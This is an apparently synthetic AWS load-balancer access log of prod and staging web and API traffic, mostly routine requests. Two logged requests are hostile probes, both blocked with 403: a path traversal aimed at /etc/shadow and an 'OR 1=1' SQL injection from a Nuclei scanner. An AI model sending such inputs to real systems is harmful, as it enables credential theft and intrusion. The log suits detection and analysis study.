"-" "-" +https 2024-11-01T02:54:48.770878Z prod-web-alb 49.134.180.124:32044 10.0.147.118:443 0.071552 0.219029 0.098351 302 302 92 13502 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e088-2415882c47084c47b8aa4115" "prod-web-alb.example.com" "-" 1 2024-11-01T02:54:48.770878Z "forward" "-" "-" "10.0.147.118:443" "302" "-" "-" +http 2024-11-01T02:54:50.472628Z staging-alb 120.48.218.143:60200 222.200.55.182:443 0.051207 0.568764 0.071817 200 200 596 13019 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e08a-4e678a3bfcce4ec688298481" "staging-alb.example.com" "-" 5 2024-11-01T02:54:50.472628Z "forward" "-" "-" "222.200.55.182:443" "200" "-" "-" +https 2024-11-01T02:54:51.582050Z prod-web-alb 9.245.237.7:10801 10.0.202.95:443 0.030089 0.067885 0.020716 302 302 582 10961 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e08b-cfce65dbe3604d08bcfb4483" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:51.582050Z "forward" "-" "-" "10.0.202.95:443" "302" "-" "-" +https 2024-11-01T02:54:52.512289Z prod-api-alb 34.127.59.6:58768 10.0.151.48:443 0.096297 0.040027 0.002464 200 200 485 13814 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e08c-1a379fc351eb4d92824ab7b0" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:52.512289Z "forward" "-" "-" "10.0.151.48:443" "200" "-" "-" +https 2024-11-01T02:54:54.126453Z prod-api-alb 72.60.38.207:50942 10.0.17.185:443 0.051773 0.093566 0.026278 200 200 478 6475 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e08e-79bd936435aa40fe85ebc8a5" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:54.126453Z "forward" "-" "-" "10.0.17.185:443" "200" "-" "-" +https 2024-11-01T02:54:55.852704Z prod-web-alb 193.27.228.26:16382 10.0.84.109:443 0.026192 0.469521 0.019491 403 403 87 4473 "GET /images/../../../../etc/shadow HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e08f-ab83127837e546dbb1b86e2f" "-" "-" 0 2024-11-01T02:54:55.852704Z "forward" "-" "-" "10.0.84.109:443" "403" "-" "-" +https 2024-11-01T02:54:57.116915Z prod-web-alb 237.11.136.172:28021 10.0.241.30:443 0.019960 0.263934 0.096197 302 302 63 12435 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e091-9e271ef4da814af59e83211e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:57.116915Z "forward" "-" "-" "10.0.241.30:443" "302" "-" "-" +https 2024-11-01T02:54:57.926737Z prod-api-alb 206.80.95.82:14093 10.0.247.67:443 0.079177 0.099520 0.027550 200 200 11 9998 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e091-84e90f631144404bb8a41f44" "prod-api-alb.example.com" "-" 1 2024-11-01T02:54:57.926737Z "forward" "-" "-" "10.0.247.67:443" "200" "-" "-" +https 2024-11-01T02:54:58.355605Z prod-api-alb 45.155.205.16:23851 10.0.224.217:443 0.017390 0.124400 0.033994 403 403 217 14534 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e092-0bb9df8476b54ba8bd6d722f" "-" "-" 0 2024-11-01T02:54:58.355605Z "forward" "-" "-" "10.0.224.217:443" "403" "-" "-" +https 2024-11-01T02:54:59.343420Z prod-web-alb 236.121.175.23:54321 10.0.247.248:443 0.084503 0.145090 0.097893 404 404 714 6179 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e093-1c53a4c2144c44d2873a9fdf" "prod-web-alb.example.com" "-" 5 2024-11-01T02:54:59.343420Z "forward" "-" "-" "10.0.247.248:443" "404" "-" "-" +http 2024-11-01T02:55:00.770058Z staging-alb 236.120.119.235:42786 37.248.140.201:443 0.042707 0.393334 0.031504 200 200 488 5395 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e094-0696bdf51e8747a0b1a8e36e" "staging-alb.example.com" "-" 8 2024-11-01T02:55:00.770058Z "forward" "-" "-" "37.248.140.201:443" "200" "-" "-" +https 2024-11-01T02:55:02.413774Z staging-alb 52.8.202.228:11020 5.233.128.43:8080 0.137961 0.556727 0.130337 404 404 603 10238 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e096-116b10f9c14c4ace81a9c9d8" "staging-alb.example.com" "-" 10 2024-11-01T02:55:02.413774Z "forward" "-" "-" "5.233.128.43:8080" "404" "-" "-" +https 2024-11-01T02:55:03.242969Z prod-api-alb 181.134.211.123:41376 10.0.213.176:443 0.037901 0.398516 0.004401 200 200 471 9917 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e097-2e8b04a945c24bd3923cf221" "prod-api-alb.example.com" "-" 6 2024-11-01T02:55:03.242969Z "forward" "-" "-" "10.0.213.176:443" "200" "-" "-" +https 2024-11-01T02:55:04.672436Z prod-api-alb 134.232.10.62:44085 10.0.217.67:443 0.022107 0.035233 0.096859 301 301 622 12933 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e098-130e6d3bb2994627b2ead654" "prod-api-alb.example.com" "-" 5 2024-11-01T02:55:04.672436Z "forward" "-" "-" "10.0.217.67:443" "301" "-" "-" +https 2024-11-01T02:55:05.166776Z prod-web-alb 41.145.150.22:18478 10.0.214.192:443 0.014816 0.441645 0.019765 200 200 615 4069 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e099-7e45494db2ff4b05b4ee8f75" "prod-web-alb.example.com" "-" 2 2024-11-01T02:55:05.166776Z "forward" "-" "-" "10.0.214.192:443" "200" "-" "-" +http 2024-11-01T02:55:07.130404Z staging-alb 30.234.58.89:11998 187.249.217.34:443 0.092626 0.587936 0.074636 302 302 120 5429 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e09b-0114539ee2344cf69c2e7eb6" "staging-alb.example.com" "-" 7 2024-11-01T02:55:07.130404Z "forward" "-" "-" "187.249.217.34:443" "302" "-" "-" +http 2024-11-01T02:55:08.301253Z staging-alb 137.107.90.138:12291 219.130.90.100:80 0.093710 0.355716 0.055286 200 200 85 6254 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e09c-361a81e77cc74b20a006bb7e" "staging-alb.example.com" "-" 8 2024-11-01T02:55:08.301253Z "forward" "-" "-" "219.130.90.100:80" "200" "-" "-" +https 2024-11-01T02:55:10.296053Z prod-web-alb 235.58.202.26:54061 10.0.22.169:443 0.090735 0.381425 0.026756 200 200 347 13120 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e09e-771695abba7b4cfdaca1e922" "prod-web-alb.example.com" "-" 3 2024-11-01T02:55:10.296053Z "forward" "-" "-" "10.0.22.169:443" "200" "-" "-" +https 2024-11-01T02:55:10.423291Z prod-web-alb 243.152.209.11:11909 10.0.42.216:443 0.000517 0.282487 0.000155 200 200 52 6719 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e09e-17809c52e865463ca3425972" "prod-web-alb.example.com" "-" 1 2024-11-01T02:55:10.423291Z "forward" "-" "-" "10.0.42.216:443" "200" "-" "-" +https 2024-11-01T02:55:11.817273Z prod-api-alb 51.114.223.30:48046 10.0.32.178:443 0.027420 0.293634 0.095686 200 200 782 850 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e09f-483e8223da444fe3ad372c5a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:55:11.817273Z "forward" "-" "-" "10.0.32.178:443" "200" "-" "-" +https 2024-11-01T02:55:12.238186Z prod-web-alb 187.232.152.251:56951 10.0.31.202:443 0.062987 0.428897 0.068350 301 301 849 10514 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0a0-6a2bbf4464ec48c98f50ef6c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:55:12.238186Z "forward" "-" "-" "10.0.31.202:443" "301" "-" "-" +https 2024-11-01T02:55:12.618787Z prod-api-alb 40.127.41.69:50444 10.0.182.163:443 0.002629 0.000153 0.014051 302 302 988 2672 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0a0-6174202b32f44c7f8c975bc8" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:12.618787Z "forward" "-" "-" "10.0.182.163:443" "302" "-" "-" +https 2024-11-01T02:55:13.205789Z staging-alb 145.147.144.100:31241 229.38.28.132:80 0.002705 0.024901 0.115960 200 200 551 5316 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0a1-33f9854c0ee84030aa3fa69c" "staging-alb.example.com" "-" 7 2024-11-01T02:55:13.205789Z "forward" "-" "-" "229.38.28.132:80" "200" "-" "-" +https 2024-11-01T02:55:14.095144Z prod-web-alb 15.250.220.206:30779 10.0.200.6:443 0.021541 0.215297 0.055654 200 200 712 3864 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0a2-66a2c24975054b14ac0e4085" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:14.095144Z "forward" "-" "-" "10.0.200.6:443" "200" "-" "-" +https 2024-11-01T02:55:15.498180Z prod-api-alb 13.54.242.48:30115 10.0.122.150:443 0.046914 0.475434 0.000060 200 200 530 5524 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0a3-2d6d9410c09c48eeb2748351" "prod-api-alb.example.com" "-" 4 2024-11-01T02:55:15.498180Z "forward" "-" "-" "10.0.122.150:443" "200" "-" "-" +https 2024-11-01T02:55:17.322367Z prod-api-alb 4.131.46.231:22274 10.0.6.235:443 0.085207 0.352396 0.047058 301 301 26 5013 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0a5-186933910456441b928e6172" "prod-api-alb.example.com" "-" 6 2024-11-01T02:55:17.322367Z "forward" "-" "-" "10.0.6.235:443" "301" "-" "-" +https 2024-11-01T02:55:18.009870Z prod-api-alb 21.95.162.158:56470 10.0.205.35:443 0.095637 0.204503 0.049775 200 200 363 1342 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0a6-760324329f59477ab97d88ad" "prod-api-alb.example.com" "-" 0 2024-11-01T02:55:18.009870Z "forward" "-" "-" "10.0.205.35:443" "200" "-" "-" +https 2024-11-01T02:55:18.597866Z prod-api-alb 208.142.19.188:38806 10.0.225.120:443 0.049264 0.040057 0.089127 200 200 661 3023 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0a6-ab9b4189ce2d41cdb4ffaa64" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:18.597866Z "forward" "-" "-" "10.0.225.120:443" "200" "-" "-" +https 2024-11-01T02:55:19.272897Z prod-api-alb 48.95.9.46:15303 10.0.149.8:443 0.098936 0.437283 0.094862 200 200 795 3863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0a7-22393b06feee4f868d56c5fa" "prod-api-alb.example.com" "-" 3 2024-11-01T02:55:19.272897Z "forward" "-" "-" "10.0.149.8:443" "200" "-" "-" +https 2024-11-01T02:55:20.139412Z prod-web-alb 20.140.25.129:56763 10.0.169.207:443 0.039659 0.224067 0.099898 200 200 963 13763 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0a8-18d602c9f8a445e0b737eaad" "prod-web-alb.example.com" "-" 0 2024-11-01T02:55:20.139412Z "forward" "-" "-" "10.0.169.207:443" "200" "-" "-" +https 2024-11-01T02:55:21.202803Z prod-web-alb 178.11.144.181:25600 10.0.139.178:443 0.011725 0.223609 0.093896 404 404 875 5021 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0a9-65d79b863a4040b8aebdba12" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:21.202803Z "forward" "-" "-" "10.0.139.178:443" "404" "-" "-" +https 2024-11-01T02:55:22.561331Z staging-alb 247.207.91.212:12696 15.101.200.242:443 0.054060 0.034122 0.130240 200 200 151 2820 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0aa-497585d0deb14e4e9bf2591e" "staging-alb.example.com" "-" 7 2024-11-01T02:55:22.561331Z "forward" "-" "-" "15.101.200.242:443" "200" "-" "-" +https 2024-11-01T02:55:24.387669Z prod-api-alb 63.155.33.0:47508 10.0.94.178:443 0.018089 0.065608 0.036608 200 200 185 11966 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0ac-e55665cc002141cb8668b84a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:55:24.387669Z "forward" "-" "-" "10.0.94.178:443" "200" "-" "-" +http 2024-11-01T02:55:24.943511Z staging-alb 218.141.76.39:48675 37.194.84.51:80 0.070972 0.551676 0.073117 301 301 944 14703 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0ac-2bad0c39c5ab49a592c0270b" "staging-alb.example.com" "-" 9 2024-11-01T02:55:24.943511Z "forward" "-" "-" "37.194.84.51:80" "301" "-" "-" +https 2024-11-01T02:55:26.273146Z staging-alb 195.98.13.224:30081 178.21.250.204:80 0.006365 0.026764 0.100406 302 302 998 3173 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0ae-95ef1abe3a9e4bbe867ab81d" "-" "-" 9 2024-11-01T02:55:26.273146Z "forward" "-" "-" "178.21.250.204:80" "302" "-" "-" +https 2024-11-01T02:55:26.728544Z prod-api-alb 123.148.166.12:47189 10.0.250.170:443 0.074192 0.074557 0.066303 302 302 977 11799 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0ae-ee17ba5a3531489893a9bcd0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:55:26.728544Z "forward" "-" "-" "10.0.250.170:443" "302" "-" "-" +https 2024-11-01T02:55:28.190376Z prod-web-alb 66.31.36.200:22571 10.0.37.187:443 0.094896 0.109457 0.005936 404 404 124 12547 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b0-6b56f5a98270451384aa848a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:55:28.190376Z "forward" "-" "-" "10.0.37.187:443" "404" "-" "-" +https 2024-11-01T02:55:28.654321Z prod-web-alb 131.126.21.193:22930 10.0.56.24:443 0.099435 0.188203 0.099676 404 404 436 14793 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b0-6ae789b6b4424030bcd8cddd" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:28.654321Z "forward" "-" "-" "10.0.56.24:443" "404" "-" "-" +http 2024-11-01T02:55:29.386025Z staging-alb 194.224.78.212:32138 98.106.255.92:443 0.116556 0.121567 0.013430 404 404 874 13375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0b1-6220d8798fbd4552a766b4f5" "-" "-" 7 2024-11-01T02:55:29.386025Z "forward" "-" "-" "98.106.255.92:443" "404" "-" "-" +https 2024-11-01T02:55:30.475749Z prod-web-alb 28.248.51.219:51073 10.0.93.19:443 0.003005 0.237298 0.096591 200 200 150 11926 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b2-e870c00673f54faf8ff3227f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:55:30.475749Z "forward" "-" "-" "10.0.93.19:443" "200" "-" "-" +https 2024-11-01T02:55:32.010189Z prod-api-alb 65.74.186.179:25710 10.0.28.79:443 0.000966 0.156408 0.015433 200 200 901 5655 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0b4-c109917e5271453191102715" "prod-api-alb.example.com" "-" 5 2024-11-01T02:55:32.010189Z "forward" "-" "-" "10.0.28.79:443" "200" "-" "-" +https 2024-11-01T02:55:32.294596Z prod-api-alb 120.103.131.41:30808 10.0.210.148:443 0.096897 0.285091 0.012340 200 200 472 10015 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0b4-785790bf22c84ee4bb3cd7da" "prod-api-alb.example.com" "-" 1 2024-11-01T02:55:32.294596Z "forward" "-" "-" "10.0.210.148:443" "200" "-" "-" +https 2024-11-01T02:55:32.938508Z prod-web-alb 191.129.7.171:48012 10.0.128.229:443 0.006427 0.360053 0.030564 200 200 720 4415 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0b4-891f070401e047c084e0dedb" "prod-web-alb.example.com" "-" 0 2024-11-01T02:55:32.938508Z "forward" "-" "-" "10.0.128.229:443" "200" "-" "-" +https 2024-11-01T02:55:34.798748Z prod-web-alb 219.146.225.99:54158 10.0.9.177:443 0.095367 0.113277 0.019550 200 200 157 1336 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b6-45bff5dfe1364c69b9882c82" "prod-web-alb.example.com" "-" 1 2024-11-01T02:55:34.798748Z "forward" "-" "-" "10.0.9.177:443" "200" "-" "-" +https 2024-11-01T02:55:36.655403Z prod-web-alb 253.135.114.32:58034 10.0.6.184:443 0.081839 0.455024 0.003868 200 200 754 11253 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0b8-213bf6e23af8497f87ba2251" "prod-web-alb.example.com" "-" 2 2024-11-01T02:55:36.655403Z "forward" "-" "-" "10.0.6.184:443" "200" "-" "-" +http 2024-11-01T02:55:38.264794Z staging-alb 99.222.238.230:17820 77.52.228.217:80 0.085532 0.154438 0.135401 200 200 510 3918 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0ba-31f1954954804140b8bd19f5" "staging-alb.example.com" "-" 10 2024-11-01T02:55:38.264794Z "forward" "-" "-" "77.52.228.217:80" "200" "-" "-" +https 2024-11-01T02:55:38.621074Z prod-api-alb 250.107.78.189:18036 10.0.85.253:443 0.073915 0.135819 0.010002 200 200 290 9744 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0ba-4d4115c60a784a7abc0249b2" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:38.621074Z "forward" "-" "-" "10.0.85.253:443" "200" "-" "-" +https 2024-11-01T02:55:39.924035Z prod-web-alb 227.239.251.80:37860 10.0.159.10:443 0.086812 0.189942 0.087505 200 200 361 10323 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0bb-40b1e94a17404623ba6cbb1d" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:39.924035Z "forward" "-" "-" "10.0.159.10:443" "200" "-" "-" +https 